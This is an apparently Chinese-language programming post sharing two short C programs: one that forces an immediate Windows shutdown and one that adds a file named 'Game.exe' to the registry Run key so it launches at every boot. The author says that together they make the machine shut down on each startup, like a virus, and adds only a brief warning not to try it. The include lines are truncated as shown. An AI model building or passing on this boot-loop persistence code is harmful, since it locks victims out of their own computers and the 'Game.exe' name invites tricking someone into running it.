我这几天学了一个好东西给大家看看代码:


#include 
#include 
#include 
int main(void)
{
    char input[20]={0};
    system("shutdown -s -t 0");
    return 0;
 }


以上是关机程序。


#include 
#include 
#include 
void ComputerStart(char *pathName)
{
	//找到系统的启动项 
	char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
	HKEY hKey;
	//打开注册表启动项 
	int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);
	if (k == ERROR_SUCCESS)
	{
		//添加一个子Key,并设置值,MyStart为启动项名称,自定义设置;
		RegSetValueEx(hKey, "MyStart", 0, REG_SZ, (BYTE *)pathName, strlen(pathName));
		//关闭注册表
		RegCloseKey(hKey);
		printf("设置成功\n");
	}
	else
	{
		printf("设置失败  error:%d\n", k);
	}
}

int main()
{
	char pathName[MAX_PATH];//文件名字最大260个字符  MAX_PATH  260
	GetCurrentDirectory(MAX_PATH, pathName);//设置字符集为多字节字符集  获取当前文件路径
	sprintf(pathName, "%s\\", pathName);
	strcat(pathName, "Game.exe");//找到需要开机自启动的程序
	ComputerStart(pathName);
	system("pause");
	return 0;
}


以上是设置启动项程序。

加起来等于重复关机器

开机就关机。

就像一个电脑病毒。

千万不要随便尝试。

文章内容属作者个人观点,不代表本站立场,如有侵权立删。

   口袋儿题库-青少儿编程自测题库